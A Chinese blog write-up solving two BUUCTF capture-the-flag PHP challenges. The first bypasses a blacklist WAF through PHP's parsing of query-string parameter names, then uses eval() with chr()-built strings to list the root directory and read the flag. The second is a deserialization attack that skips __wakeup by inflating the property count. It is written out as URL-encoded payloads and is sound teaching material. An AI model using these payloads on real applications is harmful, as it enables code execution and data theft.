当前位置: 代码迷 >> 综合 >> [RoarCTF 2019]Easy Calc + [极客大挑战 2019]PHP
  详细解决方案

[RoarCTF 2019]Easy Calc + [极客大挑战 2019]PHP

热度:3   发布时间:2023-12-06 09:06:28.0

目录

[RoarCTF 2019]Easy Calc

PHP字符串解析特性

[极客大挑战 2019]PHP

相似题目:[ACTF2020 新生赛]backupfile

相关资料:CTF常见敏感文件      CTF备份文件    


[RoarCTF 2019]Easy Calc

题目简介:

访问node3.buuoj.cn:26880

在url中发现了,calc.php,然后访问,

访问calc.php,如下

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?> 

随便试一下?num=1*15

回显是15

?num=1+1

Forbidden

说明后端会执行num的代码,但是会进行一些过滤,所以需要进行绕过waf

PHP字符串解析特性

看一些师傅们的wp,我的理解是这样的:

在php解析我们用传入的字符串时,会进行一些删除或者用下划线代替的操作,即会把所有参数转化为有效的参数名

所以解析字符串时,会做以下操作:

1.删除空白字符串。

2.将某些字符替换为下划线(包括空格)

 所以可以在num前面加上空格,来绕过

加空格绕过的解释:

http://node3.buuoj.cn:26880/calc.php?num=phpinfo();

回显:Forbidden

http://node3.buuoj.cn:26880/calc.php? num=phpinfo();

回显:

说明成功绕过waf,这个可以这样理解:你传了一个" num"的值,而waf正在抓名字叫做"num"的变量,碰到" num"时," num"说你找的是"num",与我" num"有何关系,说罢扬长而去。

而后在php对字符串解析的时候,将" num"多余的空格直接砍去,这样的话,我们就传入了"num",并且还传入了我们希望的值。

同时,根据前面的num=phpinfo();判断后端会执行num的代码。

? num=scandir("/");

回显:what are you want to do?

因为过滤了"",所以用chr()绕过,chr(47)就是"/",scandir("/")是扫根目录下的所有文件,payload如下

?%20num=print_r(scandir(chr(47)));

回显:

Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1

var_dump() 函数简介,来源菜鸟教程

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

PHP 版本要求: PHP 4, PHP 5, PHP 7

所以最后的payload

/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

 

[极客大挑战 2019]PHP

题目简介:

看到备份网站就尝试用index.php.bak,www.zip,source.php,robots.txt,bak.zip,.tar.gz,rar等,本题在www.zip中可以找到源码,如下

index.php

    <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

class.php

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

代码审计:如果在destruct()函数中用户名是admin,密码是100,就会输出flag

但是wakeup()函数会导致用户名为guest,所以需要在反序列化类对象的时候进行绕过

反序列化字符串时,属性的个数大于真实属性的个数时,会跳过__wakeup()函数的执行。

<?php
class Name
{private $username='admin';private $password='100';
}
$a=new Name();
echo (serialize($a));
//看师傅们的wp,有的师傅还会对序列化结果进行Url编码,以防止%00对应的不可打印字符在复制时丢失
//同时发现本题中必须用url编码,不然无法得出flag。
echo urlencode(serialize($a));。//结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
//注意在下面的url编码中的2要改为3
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";},得到的是如下结果

需要进行绕过并进行url编码,payload如下

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

相似题目:[ACTF2020 新生赛]backupfile

相关资料:CTF常见敏感文件      CTF备份文件